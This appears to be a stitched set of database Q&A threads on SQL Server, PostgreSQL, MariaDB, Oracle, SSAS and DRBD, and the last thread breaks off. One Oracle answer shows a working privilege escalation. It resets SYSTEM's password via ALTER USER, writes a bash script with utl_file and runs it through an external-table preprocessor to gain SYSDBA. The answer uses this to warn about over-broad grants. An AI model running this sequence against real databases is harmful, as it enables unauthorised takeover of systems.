Show all options with many-to-many and many-to-one I have inherited a database the following relationships:

Product >--< Option --< OptionValue

So, for example, a Desk might have Colour, Width, and Height as Options, with Colour={Oak,Beech,Walnut}, Width={90cm,110cm,150cm} and Height={60cm,75cm,90cm}

This is models as a M:N, 1:N, and is normalised (i.e. Product, ProductOption, Option, and OptionValue all have the expected PKs and FKs).

The requirement is to get all combinations of Option for each Product.

I'm essentially thinking this is an EAV schema in disguse, but I'd be happy for someone to humour me.

Previously, there were a limited number of options per product, so I could use a PIVOT and left joins (and make dbas around the world cry), but the requirements have changed to allow an unlimited number of options per Product.

Given this sample:

CREATE TABLE #Products (ProductId int, Name varchar(200));
insert into #Products values
(1, 'Desk'),
(2, 'Table');

CREATE TABLE #Options(OptionId int, ProductId int, Name varchar(200));
insert into #Options values
(1, 1, 'Colour'),
(2, 1, 'Weight'),
(3, 2, 'Colour'),
(4, 2, 'Width');

CREATE TABLE #OptionsValues(OptoinValueId int, OptionId int, Name varchar(200));
insert into #OptionsValues values
(1, 1, 'Oak'),
(2, 1, 'Beech'),
(3, 2, '10kg.'),
(4, 2, '12kg.'),
(5, 2, '13kg.'),
(6, 3, 'Ivory'),
(7, 3, 'Blue sky'),
(8, 4, '10cm.'),
(9, 4, '20cm.');

You can use STUFF((SELECT .... FOR XML PATH(''), 1,1,'') to get a concatenated column's values, delimited by some character (usually comma)

SELECT p.Name
       ,STUFF ((SELECT ', '
                       + Name
                       + ': {'
                       + STUFF((SELECT ',' + Name
                               FROM #OptionsValues ov
                               WHERE ov.OptionId = o.OptionId
                               FOR xml path('')
                              ), 1, 1, '')
                       + '}'
                FROM #Options o
                WHERE o.ProductId = p.ProductId
                FOR xml path('')
              ), 1, 2, '') Options
FROM   #Products p;

The result is:

+-------+--------------------------------------------------+
|  Name |                      Options                     |
+-------+--------------------------------------------------+
|  Desk | Colour: {Oak,Beech}, Weight: {10kg.,12kg.,13kg.} |
+-------+--------------------------------------------------+
| Table | Colour: {Ivory,Blue sky}, Width: {10cm.,20cm.}   |
+-------+--------------------------------------------------+

Check it here: http://rextester.com/YBX28904


How to issue a DML with WHERE clause comparing a value which is trigger generated in table? Suppose I have a table with CREATE,

CREATE TABLE TEST (
    year int,
    month int,
    date int,
    hr int,
    min int,
    sec int,
    timestamp timestamp,
    value double
);

CREATE FUNCTION timestamp_insert() RETURNS trigger
LANGUAGE plpgsql
AS $$

    DECLARE datestr TEXT ;
    DECLARE timestr TEXT ;
    begin
        datestr :=  new.year || '-' || new.month || '-' || new.date || ' ' ||  new.hour || ':' || new.min || ':' || new.sec;+
        new.timestamp := datestr :: TIMESTAMP
        return new;
    end;
$$
CREATE TRIGGER timestamp_insert BEFORE INSERT OR UPDATE ON TEST FOR EACH ROW EXECUTE PROCEDURE timestamp_insert();

Now I want to update a certain row based on the timestamp currently on the table and that from a new set of data. Something like,

UPDATE TEST SET value = ? WHERE timestamp < "generated timestamp from a new set of (year, month, date, ...)"

Is it possible to do something like this in SQL or do I need to programmatically genrate the timestamp and then simply pass that value in SQL?

There is a function named make_timestamp() that you can use for this. It also makes your trigger function a lot shorter:

CREATE FUNCTION timestamp_insert()
  RETURNS trigger
  LANGUAGE plpgsql
AS
$$
begin
    new.timestamp := make_timestamp(new.year, new.month, new.date, new.hour, new.min, new.sec);
    return new;
end;
$$

The same function can be used in the UPDATE as well

UPDATE TEST
   SET value = ?
WHERE timestamp < make_timestamp(year, month, date, hour, min, sec);

If you are using Postgres 12, you don't need the trigger as it now supports generated/calculated columns:

CREATE TABLE TEST
(
  year int,
  month int,
  date int,
  hr int,
  min int,
  sec int,
  ts timestamp generated always as (make_timestamp(year, month, date, hr, min, sec)) stored,
  value double precision
);


sqlcmd returns Msg 701 when importing +10MB queries I have a powershell script that exports data from DBF files, saves them as .SQL files and then imports the SQL files into MS SQL 2016 using the sqlcmd command.

There's one SQL file per table in my SQL database.
The SQL file drops the table, recreates it and inserts the data into the table.

Most SQL files are small, however, I have 3 files that are 14MB, 26MB and 30MB.
Importing these files fails with a memory error:

  Msg 701, Level 17, State 123, Server SQL\INSTANCE02, Line -22204 There
  is insufficient system memory in resource pool 'internal' to run this
  query.

All SQL files have rather short insert statements. I.e. the 30MB file has 150610 insert statements like this one.

insert into [RITORDER] values(1668556,'   ',7452,6811,0,'F8429E4K4W',63267840,63269279,0,' ',0,0,'010203              ','',63267840,63269279,0,0,0,'      ',0,'               ',0,0,'','               ');

On SQL\INSTANCE02 I had the Maximum server memory set to 5000MB. So I have increased this to 8000MB.

After upgrading the Maximum Server Memory with ~3GB, the 10MB file gets imported, while the other two "larger files" still fail with the 701 message.

Since SQL\INSTANCE02 contains a couple of small database, I don't feel like upgrading the Maximum Server Memory setting for this instance any more.

Is there a way I can tweak the command so it can also run the 3 "larger" queries?

The command I use is:

sqlcmd -S 'SQL\INSTANCE02' -U 'user' -P 'thisisnotmypassword' -d 'dbname' -i $ExportDir\$($file[1])

Or should I use a whole different method instead?

I ended up using the solution to the following StackOverflow question:
https://stackoverflow.com/questions/36896391/insert-new-line-with-text-after-n-lines-and-3-lines-at-beginning-from-other-file


Grant read/read-write access to SSAS cubes I have a requirement to grant read access on SSAS cubes to one windows group and read/write access to another group. I have multiple SSAS cubes on my server.

The question is:

What minimum rights should I grant to the user?
Is there a way to apply this rights on multiple cubes. As manually creating roles on each SSAS cubes is painful. I have lot of SSAS cubes. So looking for an easy way to do this.

Writeback permissions are a bit tricky. I documented them here. The relevant part is:

  Next, build a separate Writeback role. On the Cubes tab, grant
  Read/Write, check Process, and (optionally) Drillthrough permissions.
  I’m frankly not sure why you need Process permissions to perform ROLAP
  writeback, but it appears you need Process permissions for ROLAP or
  MOLAP writeback.

  In the Data Sources tab, make sure to grant Read permissions on the
  data source used for writeback. For example, when I created my
  writeback partition, I used the Greg Test data source to direct that
  writeback table to live in another database (such as a database with
  Full recovery model).

Sounds like you already figured it out but we can document this for posterity.


INSERT don't work with NOT NULL but UPDATE does, why? I have this table definition:

CREATE TABLE `media` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `brands_id` int(11) DEFAULT NULL,
  `media_type` varchar(45) COLLATE utf8_unicode_ci DEFAULT NULL,
  `title` varchar(45) COLLATE utf8_unicode_ci NOT NULL,
  `description` longtext COLLATE utf8_unicode_ci NOT NULL,
  `thumbnail_url` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
  `media_url` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
  `media_code` varchar(45) COLLATE utf8_unicode_ci NOT NULL,
  `inactive` tinyint(1) NOT NULL,
  `createdAt` datetime NOT NULL,
  `updatedAt` datetime NOT NULL,
  `titleHtml` varchar(45) COLLATE utf8_unicode_ci NOT NULL,
  `descriptionHtml` longtext COLLATE utf8_unicode_ci NOT NULL,
  `useHtml` tinyint(1) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `UNIQ_6A2CA10CBF396750` (`id`),
  KEY `IDX_6A2CA10CE9EEC0C7` (`brands_id`),
  CONSTRAINT `FK_6A2CA10CE9EEC0C7` FOREIGN KEY (`brands_id`) REFERENCES `brands` (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci ROW_FORMAT=COMPACT;

Each time I try to INSERT a new record I get an error due to NOT NULL constraints, that is OK, now if I try to UPDATE the same record and I leave title and/or description or any other required field empty the UPDATE is executed and the column is set to blank, why? How I can avoid this? I am using MariaDB 5.5.46.

UPDATE

As requested by moderator below is the INSERT and UPDATE queries I have tried:

INSERT INTO media (media_type, title, titleHtml, description, descriptionHtml, thumbnail_url, media_url, media_code, inactive, useHtml, createdAt, updatedAt, brands_id) VALUES (null,"Media Title Test",null,null,null,"https://someurl",null,null,false,false,"2015-10-22 22:07:54","2015-10-22 22:07:54",null)

The INSERT above fails because the CONSTRAINTS in the DB

UPDATE media SET description = null, updatedAt = "2015-10-22 22:12:18" WHERE id = 13

The UPDATE above pass and this is the problem because description column isn't allowed to have NULL values

The problem is in your database configuration.
MariaDB by default SQL_MODE isn't STRICT and UPDATEs even if it's set to NOT NULL.
But this is a pointer to the answer:

A mode where at least one of STRICT_TRANS_TABLES or STRICT_ALL_TABLES is enabled is called strict mode. With strict mode not set (the default), MariaDB will automatically adjust invalid values, for example, truncating strings that are too long, or adjusting numeric values that are out of range, and produce a warning.
With strict mode set, the statements will fail, and an error will be returned instead. The IGNORE keyword can be used when strict mode is set to convert the error to a warning.

So you need to set the appropriate SQL_MOD as described at: https://mariadb.com/kb/en/mariadb/sql_mode/


Compound unique constraint with NULL values With the following table structure

CREATE TABLE favorite_comments(
   id SERIAL PRIMARY KEY NOT NULL,
   opinion_id BIGINT REFERENCES opinions(id),
   review_id BIGINT REFERENCES reviews(id),
   list_id INTEGER REFERENCES lists(id) NOT NULL
);

This are valid records (Review and opinion related to the same list):

id,  opinion_id,  review_id,  list_id
-------------------------------------
1,          333,       NULL,        4
2,         NULL,        444,        4

But i would like to prevent that same review or opinion can appear twice related to the same list:

id,  opinion_id,  review_id,  list_id
-------------------------------------
1,          333,       NULL,        4
2,         NULL,        444,        4
3,         NULL,        444,        4 <- WRONG

I would like to add a constraint that checks a conditional uniqueness, UNIQUE(opinion_id, list_id) OR UNIQUE(review_id, list_id), but since opinion_id,review_id can be NULL im having some trouble with this

Ive tried this but does not work

ALTER TABLE favorite_comments
ADD CONSTRAINT comments_can_only_be_saved_once_per_list
UNIQUE (opinion_id, review_id, list_id);

If you can identify a value that will never be stored in the referenced tables (e.g. a negative value), you can use a unique index that uses expressions:

create unique index
  on favorite_comments( coalesce(opinion_id,-1), coalesce(review_id, -1), list_id );

the coalesce() will turn all null values in the same "real" value, forcing a unique constraint violation when you try to insert another NULL value.

The only drawback of a unique index compared to a unique constraint is, that the unique index can't be a target of a foreign key (while a unique constraint would be)


Optimization When Using CTE I want to take aggregate data for each sales person employed and display the Salesname, saleamount, and saleshippingamount.  I have the query set to use 2 UPDATE CTE statements to update a table that house the master data for each employee. I am updating because I need aggregate totals to be displayed.

The syntax takes roughly 10 minutes to complete and between the two tables there are roughly 60,000 rows to process.  Is a CTE The wrong way to go about this?

Below is sample DDL. The employee names are populated from the HR table, but I did not show DDL for this, just an insert statement.

Create Table #FinalData
(
    employee varchar(400)
    ,tr float
    ,tf float
)
Create Table #TR
(
    employee varchar(400)
    ,saleamount float
    ,saledate date
)
Create Table #TF
(
    employee varchar(400)
    ,saleshippingamt float
    ,saledate date
)
INSERT INTO #TR (employee, saleamount, saledate) VALUES
('Employee 1', '12.63', '2017-01-01'), ('Employee 1', '15.00' ,'2017-01-02')
,('Employee 2', '14.00', '2017-01-03'), ('Employee 2' ,'12.00', '2017-01-03')
,('Employee 3', '16.00', '2017-01-03'), ('Employee 3', '13.00', '2017-01-04')
INSERT INTO #TF (employee, saleshippingamt, saledate) VALUES
('Employee 1', '5.00', '2017-01-01'), ('Employee 1', '6.00' ,'2017-01-02')
,('Employee 2', '5.50', '2017-01-03'), ('Employee 2' ,'5.00', '2017-01-03')
,('Employee 3', '6.00', '2017-01-03'), ('Employee 3', '6.00', '2017-01-04')
INSERT INTO #FINALDATA (employee) Values
('Employee 1'), ('Employee 2'), ('Employee 3')

;With TR As
(
    SELECT
    employee
    ,SUM(saleamount) Totals
    FROM #TR
    WHERE saledate BETWEEN '2017-01-01' AND '2017-01-25'
    GROUP BY employee
)
UPDATE t
SET tr = t2.TotalCount
FROM #FinalData t
INNER JOIN (Select employee, SUM(Totals) TotalCount
            FROM TR
            GROUP BY employee) As t2
ON t.employee = t2.employee

;With TF As
(
    SELECT
    employee
    ,SUM(saleshippingamt) Totals
    FROM #TF
    WHERE saledate BETWEEN '2017-01-01' AND '2017-01-25'
    GROUP BY employee
)
UPDATE t
SET tf = t2.TotalCount
FROM #FinalData t
INNER JOIN (Select employee, SUM(Totals) TotalCount
            FROM TF
            GROUP BY employee) As t2
ON t.employee = t2.employee

Select * FROM #FinalData

And this is my execution plan.

What is an option that I have to optimize this query?

I've finally been able to do some testing and playing with the query and can give you more concrete suggestions.  I used AdventureWorks for my sample so I had some actual data to work with.

Option 1 - Add Indexes

This will give you the best performance increase for the least amount of effort.  I saw an increase of 40% in query execution in my sample set just by adding three indexes.

Tables #TR and #TF. Add an index on the saledate, employee, and include the amount.

CREATE INDEX IDXNC_TFSaleDateEmployee ON #TF (saledate, employee) INCLUDE (saleshippingamt)

CREATE INDEX IDXNC_TRSaleDateEmployee ON #TR (saledate, employee) INCLUDE (saleamount)

for the #FinalData, you should have a clustered index on the employee field.

CREATE CLUSTERED INDEX IDXC_FinalDataEmployee ON #FinalData (employee)

Option 2 - Change your query

Your query could use some tweaking, it may even allow you to get rid of the temp table all together.

This query also performs a little faster, but the indexes will give you the best increase in performance.

;WITH CTE_Employee AS
    (
    SELECT DISTINCT employee
    FROM (
        SELECT employee
        FROM #TR
        UNION ALL
        SELECT employee
        FROM #TF
        ) AS D
    )
    , CTE_TR AS
    (
    SELECT employee
        , SUM(saleamount) AS TotalDue
    FROM #TR
    WHERE saledate BETWEEN '2017-01-01' AND '2017-01-25'
    GROUP BY employee
    )
    , CTE_TF AS
    (
    SELECT employee
        , SUM(saleamount) AS TotalDue
    FROM #TR
    WHERE saledate BETWEEN '2017-01-01' AND '2017-01-25'
    GROUP BY employee
    )

SELECT S.employee
    , TR.TotalDue
    , TF.TotalDue
FROM CTE_Employee AS S
    LEFT OUTER JOIN CTE_TR AS TR ON TR.employee = S.employee
    LEFT OUTER JOIN CTE_TF AS TF ON TF.employee = S.employee

General Comments

You can name CTEs however you like, but it does confuse things a little bit if you give them the same name as the table they represent.  I like to give them a CTE_* prefix, but it's optional.

You can also chain CTEs as I've done here.

In your original query, you were doing two aggregate operations when you were getting the totals for the totalcount in the #FinalData. That would also be something to keep an eye out for, you can see that it's unnecessary, but SQL will do the sort and sum operation multiple times.  You could just join the CTE table on instead of doing a sub-select.

You Had

UPDATE t
SET tf = t2.TotalCount
FROM #FinalData t
INNER JOIN (Select employee, SUM(Totals) TotalCount
            FROM TF
            GROUP BY employee) As t2
ON t.employee = t2.employee

Should be

UPDATE t
SET tf = t2.TotalCount
FROM #FinalData t
INNER JOIN TF As t2 ON t.employee = t2.employee


Does MySQL updated index if index key is not updated? Say I have a table with 3 columns: ID (PK), Name, Age.

Say ID has an index on it, name has an index on it, and there is another index which combines id and name. Lets say I now have an update statement which looks like this:

UPDATE table SET AGE = 69 WHERE id = 'some_id';

I am only updating the AGE column, so will MySQL still update the indexes even though non of the indexed columns were modified or will it leave the indexes alone?

It is logical to think that the current databases are smart enough to not update the index which data have not changed.

But this logic should be straight supported by Mysql manual. And I've really found this statement on page which describes Speed of UPDATE Statements:

  An update statement is optimized like a SELECT query with the
  additional overhead of a write. The speed of the write depends on the
  amount of data being updated and the number of indexes that are
  updated. Indexes that are not changed do not get updated.


When should you denormalize? I think we are all familiar with database normalization.

My question is:  What are some guidelines that you use when you want to denormalize the tables?

Denormalize when it's OLAP operations, normalize when OLTP (from linked article under section Denormalization)

  Databases intended for online transaction processing (OLTP) are
  typically more normalized than databases intended for online
  analytical processing (OLAP). OLTP applications are characterized by a
  high volume of small transactions such as updating a sales record at a
  supermarket checkout counter. The expectation is that each transaction
  will leave the database in a consistent state. By contrast, databases
  intended for OLAP operations are primarily "read mostly" databases.
  OLAP applications tend to extract historical data that has accumulated
  over a long period of time. For such databases, redundant or
  "denormalized" data may facilitate business intelligence applications.
  Specifically, dimensional tables in a star schema often contain
  denormalized data. The denormalized or redundant data must be
  carefully controlled during extract, transform, load (ETL) processing,
  and users should not be permitted to see the data until it is in a
  consistent state. The normalized alternative to the star schema is the
  snowflake schema. In many cases, the need for denormalization has
  waned as computers and RDBMS software have become more powerful, but
  since data volumes have generally increased along with hardware and
  software performance, OLAP databases often still use denormalized
  schemas.

  Denormalization is also used to improve performance on smaller
  computers as in computerized cash-registers and mobile devices, since
  these may use the data for look-up only (e.g. price lookups).
  Denormalization may also be used when no RDBMS exists for a platform
  (such as Palm), or no changes are to be made to the data and a swift
  response is crucial.


SQL Server Management Studio 17.1 Mirroring bug I noticed there is a bug that when people asked about it, they were sent in the wrong direction (see final remarks below).

When trying to use SQL Server 2016 with SSMS 17.1 to create a mirrored database, the following errors might be received:

  Database is not configured for database mirroring.
  Database x cannot be opened. It is in the middle of a restore.

This error was a real PITA that cost me 2 weeks of searching as I am new to this DBA stuff, otherwise I would have gone the scripting path.

I think this is a bug in SSMS 17.1 because it works in SSMS 16.5.3. It took me quite some time to figure the real issue was the Management Studio itself, unfortunately. The interface of version 17.1 is much better compared to version 16.5.3!

Wrong suggestions and misleading solutions

Mostly it was the database mirroring/hadr_endpoint TCP://servername:port setup, restoring with NORECOVERY being forgotten in many cases, but was not the real issue when backup and restore were done correctly.

The previous Connect item has been re-created in the Azure Feedback forum as:

SSMS 17.2 (and 17.1) Mirror configuration fails because mirror database is restoring

If you are experiencing this issue, you may wish to Upvote the Azure item.

Also note that the problem shows up in the recently released SSMS 17.2, 17.4 and even 17.9 as well.


Look on fiddle

SELECT pp.*, so.date_created sale_date_created
FROM pp
JOIN so  ON so.date_created >= pp.date_created
        AND so.date_created BETWEEN COALESCE(pp.from_date, so.date_created) AND COALESCE(pp.thru_date, so.date_created);

COALESCE() is used to prevent discarding records containing NULL(s).


MySQL Synchronous Replication on Ubuntu 12.04 with DRBD I have been looking around for some easy and open-source ways to handle database synchronous replication.

DRDB on a Linux server seems to be one of the fastest and easiest methods to handle database synchronization for DR purposes and HA.

I want to set up the above fact between two ubuntu 12.04 Machines treating one machine as active and another as passive.

I need some handy guidance and useful steps to setup this fact.

I would suggest you to use active-passive cluster with drbd. Active-Active leads to more problems then it solves especially if you use MySQL as database because you can't run 2 MySQL Daemons on the same Database!

Creating drbd cluster is simple. You have to do the following steps on both servers.

Create a partition for share
Create a drbd config with the partition, this brings you a new block device
Start the Cluster with one as Master and the other as slave
Create and Mount a filesystem (ext4, xfs or on the block device on the master
Copy the database to the new filesystem and start db and you are done.

Thats the concept.

Here a short overview of the commands to use:

Server1 and Server2:
Create a partition for the complete Harddisk sdb

fdisk /dev/sdb
n
p
<enter>
<enter>
w

Install drbd

apt-get install drbd8-utils

Create a config file at /etc/drbd.conf:

common {
  syncer {
    rate 100M;
  }
}

resource r0 {
  # Protokoll-Version
  protocol C;

  startup {
    wfc-timeout         0;
    degr-wfc-timeout  120;
  }
  disk {
    on-io-error detach;
  }
  on server1 {
    device     /dev/drbd0;
    disk       /dev/sdb1;
    address    <IPSERVER1>:7788;
    meta-disk  internal;
  }
  on server2 {
    device     /dev/drbd0;
    disk       /dev/sdb1;
    address    <IPSERVER2>:7788;
    meta-disk  internal;
  }
}

Create the drbd device on both servers

drbdadm create-md r0
drbdadm up r0

Check the state

cat /proc/drbd

There should be a line with "cs:Connected ro:Secondary/Secondary"
The first "Secondary" is the server you are logged in and the 2nd "Secondary" is the other server.

Now make the first server to the master and override all data on the server2

drbdadm primary --force r0

You could watch this process in /proc/drbd

No you can mount your new drbd device on the master:

mount /dev/drbd0 /mnt

if you like to switch master and slave you can use the commands:

drbdadm primary r0

or

drbdadm secondary r0

Based on the server where you are logged in. But remember only one server could be primary.

For Active-Active scenario you need a cluster file system like ocfs2.

Use this manual with caution because this could delete your data.

You will find more information at drbd.org: http://www.drbd.org/users-guide-8.4/

A complete alternative is to use the DRBD MC - the Management console created by LINBIT, its a java application running on a workstation and connects to the servers over ssh and make the configuration for you.
http://www.drbd.org/mc/lcmc/


Is Non-Clustered index with all others columns included equivalent to a Clustered Index Is a nonclustered index on a column with all other columns included almost like a clustered index on a different column? Will it actually duplicate the full Table?

Normally you might not need to do that because looking up the rows might be less costly than duplicating data but I am asking from a theoretical perspective.

I use the following database systems MSSQL,PostgreSQL and Oracle. Would it depend on different databases?

The answer will vary according to your understanding of the word "equivalent".

From a logical / application perspective they are the same. Both reference all columns of the table and define an ordering on all rows.

Physically the image on disk and the thread of execution through the server software are likely to be different. The optimiser may treat them differently, too.


Error: 18456, Severity: 14, State: 5; SSMS > Network sever from PC I just completed my first install of SQL as a server based, Enterprise Edition.  I wanted to check it out using SSMS on PC using my Admin Access.  But could not connect.

For security reasons my admin account and my Network ID on my PC are different, so I knew I would not be able to use 'windows authentication', but I tried it as part of my trouble shooting

SQL 2014 install completed
Attempted to access with SSMS (from my PC SQL2012) > Fail
Found log MSSQL12.MSSQLSERVER\MSSQL\Log
Logon match fail NT & Admin accounts

2016-01-05 10:21:54.34 Logon       Error: 18456, Severity: 14, State: 5.
2016-01-05 10:21:54.34 Logon       Login failed for user 'NT1'. Reason: Could not find a login matching the name provided. [CLIENT: IP]
2016-01-05 10:22:29.85 Logon       Error: 18456, Severity: 14, State: 5.
2016-01-05 10:22:29.85 Logon       Login failed for user 'Admin1'. Reason: Could not find a login matching the name provided. [CLIENT: IP]

Validated ‘Admin1’ is a member of the 'AD group with access'
Attempted access with SSMS from the server, as the server (windows authentication Server1) > Granted access
Via SSMS on Server, check security of 'AD group with access'; Server1 > Security > Logins it looks like everything should be good, BUT windows authentication is checked, which leads me to suspect that unless ‘Admin1’ is logged on to a computer with SSMS it will not get access.
Tried using ‘Admin2‘, still failed

2016-01-05 11:09:58.89 Logon       Error: 18456, Severity: 14, State: 5.
2016-01-05 11:09:58.89 Logon       Login failed for user 'Admin2'. Reason: Could not find a login matching the name provided. [CLIENT: IP]

Tried to connect with ‘Server1’ from my PC, still failed

2016-01-05 11:15:53.22 Logon       Error: 18456, Severity: 14, State: 5.
2016-01-05 11:15:53.22 Logon       Login failed for user 'Server1'. Reason: Could not find a login matching the name provided. [CLIENT: IP]

Google leads me Error 18456 error severity 14 state 5 SQL Server 2012 SCCM2012 SP1 which is not the issue
Google leads me to https://sqlblog.org/2011/01/14/troubleshooting-error-18456 which tells me that State: 5 = the login does not exist; currently thinking that means we don’t have a connection to AD.

NOTE: IP's and other specifics of account ID redacted from log files, generic place holders used.

The example is with SQL 2014 install but the problem is not version specific.

My team lead, pointed out the issue.  As I could not find the issue/solution here, posting it for others.

I knew I could not use windows authentication, so I was trying to use SQL Server Authentication, this was the problem.

To access SSMS as a different user - When opening SSMS from your PC; Shift + right click > ‘Run as Different User’ enter ID ‘Admin1’ + password, proceed as normal.


SELECT values with a condition and JOIN I am not sure that is a "SELECT/JOIN" problem but I really don't know how to formulate the question. Perhaps you could suggest a better title

I have a table (table-a) with a list of items, I Want to associate the information of table-B.col2 when it is equal to "1"

What query should I write?

Table A
Col1
AAA
BBB
DDD
EEE
                          AAA 1
Table B      =====>       BBB
Col1  Col2                DDD 1
AAA   1                   EEE
AAA   2
BBB   2
CCC   1
CCC   3
DDD   1
FFF   1

This is a simple "filtered" outer join:

select a.col1, b.col2
from table_a a
  left join table_b b on a.col1 = b.col1 and b.col2 = 1


Oracle - How do I grant a user permission to create and change passwords for other users (like a security admin) I have a user that is a security admin in the I.t. dept. I need to grant his Oracle user account privileges to be able to create new users, change passwords and change membership in other groups we created. This is basically a security admin that I do not want to give full sysdba/dba privileges to. That would be overkill. What exactly do I grant and how?

You may grant ALTER USER and CREATE USER to that user to get this done. By doing that, you also grant unlimited access indirectly to that user in most databases, which you wanted to avoid.
Connected to:
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.9.0.0.0

SQL> create user u1 identified by u1;

User created.

SQL> grant create session, alter user to u1;

Grant succeeded.

SQL> conn u1/u1
Connected.
SQL> alter user system identified by system;

User altered.

SQL> conn system/system
Connected.
SQL> show user
USER is "SYSTEM"

That was all it took to gain access to SYSTEM or any other privileged user besides SYS. This already provides read/write access to the filesystem as database user.
SQL> select SYS_CONTEXT ('USERENV','ORACLE_HOME') as home,
            SYS_CONTEXT ('USERENV','INSTANCE_NAME') as instance from dual;

HOME                                     INSTANCE
---------------------------------------- --------------------
/u01/app/oracle/product/19.0.0/dbhome_1  RYMIN19

SQL> create directory exploitd1 as '/tmp';

Directory created.

SQL> create directory exploitd2 as '/usr/bin';

Directory created.

SQL> declare
  fhandle  utl_file.file_type;
begin
  fhandle := utl_file.fopen('EXPLOITD1', 'data.txt', 'w');
  utl_file.put(fhandle, '#!/bin/bash' || CHR(10));
  utl_file.put(fhandle, 'export ORACLE_HOME=/u01/app/oracle/product/19.0.0/dbhome_1' || CHR(10));
  utl_file.put(fhandle, 'export PATH=$ORACLE_HOME/bin:$PATH' || CHR(10));
  utl_file.put(fhandle, 'export ORACLE_SID=RYMIN19' || CHR(10));
  utl_file.put(fhandle, 'sqlplus / as sysdba<<EOF' || CHR(10));
  utl_file.put(fhandle, 'grant sysdba to u1;' || CHR(10));
  utl_file.put(fhandle, 'exit' || CHR(10));
  utl_file.put(fhandle, 'EOF');
  utl_file.fclose(fhandle);
end;
/

PL/SQL procedure successfully completed.

Next create an external table using the above script executed with bash as preprocessor:
SQL> CREATE TABLE exploit_table (c1 varchar2(2000))
ORGANIZATION EXTERNAL (
TYPE ORACLE_LOADER
DEFAULT DIRECTORY exploitd1
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
PREPROCESSOR exploitd2:'bash'
DISABLE_DIRECTORY_LINK_CHECK
FIELDS (c1 char(2000)))
LOCATION ('data.txt'))
REJECT LIMIT UNLIMITED;

Table created.

SQL>

And here comes the fun part:
SQL> select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE

SQL> select count(*) from exploit_table;

  COUNT(*)
----------
        16

SQL> select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE
U1                             TRUE

SQL>

If you want to really limit the privileges of this security admin, you will need some custom PL/SQL trigger or package/procedure that controls which users can be created and altered by this user.


Table with low selectivity ratio I have one table now with million rows..

Table-1

Name, Age, Sex, Dept
Tom   25   M    Finance
.
.
.

Now, The "Finance" is reptitive...Currently, there is only one dept "Finance"..

Is it good to normalize the data to a different table..

Finance Table

Id Name
1  Finance

and refer Finance-id in the Table-1

In general, you have a heavily de-normalized table, and a bit of normalizing would do some good.

Since you appear to be new to database design, I understand you may not really be aware of what normalization is, so we'll keep it simple and say that for a normalized structure, you want each piece of data to exist in one place only, so that it is not copied repeatedly in many locations.

Of course, you'll find that the Wikipedia page on database normalization is a good start.

Let's look at your specific case:

1) You have the individual's name directly in the row data.  This is fine if a person is referenced once and only once, but what if the a person is part of the data for other tables?  Do you want to copy their name every time?  What if they get married or for some other reason they change their name?  Now you'll have to track down every instance of their name.  What if two people have the exact same name?  How do you discern between them?

In general having a table with unique person ids as

CREATE TABLE people(
  person_id int,
  first_name text,
  last_name text,
  etc...
);

would be a good idea.  Then simply place the person_id into any other relevant table.

2) So, putting someone's age into a table is a pretty bad idea.  Doing it this way, every day you need to go through the table, see if it is someone's birthday, and update any corresponding entry.

Why bother with that when you can simply store their birthday once, and all relevant information is encapsulated in that one, never changing piece of data? Futher, since it is definitively attached to the person, add their birthdate as a column entry in the previously mentioned people table.

3) You can already see where I'm going with this: this data also belongs in the people table.

4) Now we're on to your original question.  Yes, I believe you should have a separate table which lists the different departments.

CREATE TABLE depts(
  dept_id int,
  name text,
  other_info text,
  etc...
);

Lastly, joining people to departments can simply be done with a table having two integer columns:

CREATE TABLE employees(
  person_id int,
  dept_id int
);

Hope this helps!

P.S.: I've made it sound like normalization is always the right answer. In actuality, it is often the right answer, but not always.  They key is, learn to normalize an why you should, so that you can then make key decisions about why you might choose to intentionally de-normalize your data.


Get All data from one table according to another, using Temporal Tables I have two simple tables:
CREATE TABLE [dbo].[StatusForStudents](
    [ID] [int] NOT NULL,
    [PrimaryStatusID] [int] NULL,
    PRIMARY KEY (ID)
);

CREATE TABLE [dbo].[Students](
    [ID] [int]  NOT NULL,
    [IsFoster] [bit] NOT NULL,
    PRIMARY KEY (ID)
);

With Temporal Tables feature working. Each have a ValidFrom and ValidTo fields.
I've added some dummy data:
insert into Students values (1,1)
WAITFOR DELAY '00:00:01';
insert into statusforstudents values (1,1)
WAITFOR DELAY '00:00:01';
insert into statusforstudents values (2,2)
WAITFOR DELAY '00:00:01';
insert into Students values (2,2)
WAITFOR DELAY '00:00:01';
insert into statusforstudents values (3,3)

Which got me to:
statusforstudents
ValidFrom               ID  PrimaryStatusID
2020-12-14 13:18:44.25  1   1
2020-12-14 13:18:45.27  2   2
2020-12-14 13:18:47.30  3   3

students
ValidFrom               ID  IsFoster
2020-12-14 13:18:43.22  1   True
2020-12-14 13:18:46.28  2   True

I now want for each record of statusforstudents, to match the relevant record of students.
That is - for each record in statusforstudents, find the record of students that was valid at the statusforstudents's time.
Or, in my example (ss for statusforstudents, s for students) the expected result would be:
ss.ValidFrom            ss.ID   ss.PrimaryStatusID     s.ValidFrom              s.ID  s.IsFoster
2020-12-14 13:18:44.25  1       1                      2020-12-14 13:18:43.22   1     True
2020-12-14 13:18:45.27  2       2                      2020-12-14 13:18:43.22   1     True
2020-12-14 13:18:47.30  3       3                      2020-12-14 13:18:46.28   2     True

I couldn't come up with anything better than just joining them, but that didn't give me anything useful..
Here's a working example

Is this what you are looking for?
SELECT ss.validfrom AS 'status validFrom', ss.ID, ss.PrimaryStatusID, ca.[students validFrom], ca.ID, ca.IsFoster
FROM StatusForStudents ss
CROSS APPLY
(SELECT TOP(1) s.validfrom AS 'students validFrom', s.ID,s.IsFoster
FROM Students s
WHERE s.validfrom<=ss.validfrom
ORDER BY s.validfrom DESC
) AS ca


Inlining SQL functions in PostGIS I am defining a new data type tpointp for storing trajectories of moving objects. One function associated to this data type is atPeriod(tpointp, tsrange) which projects the full trajectory to a time period represented as a timestamp range (tsrange).

CREATE FUNCTION atPeriod(tpointp, tsrange)
    RETURNS tpointp
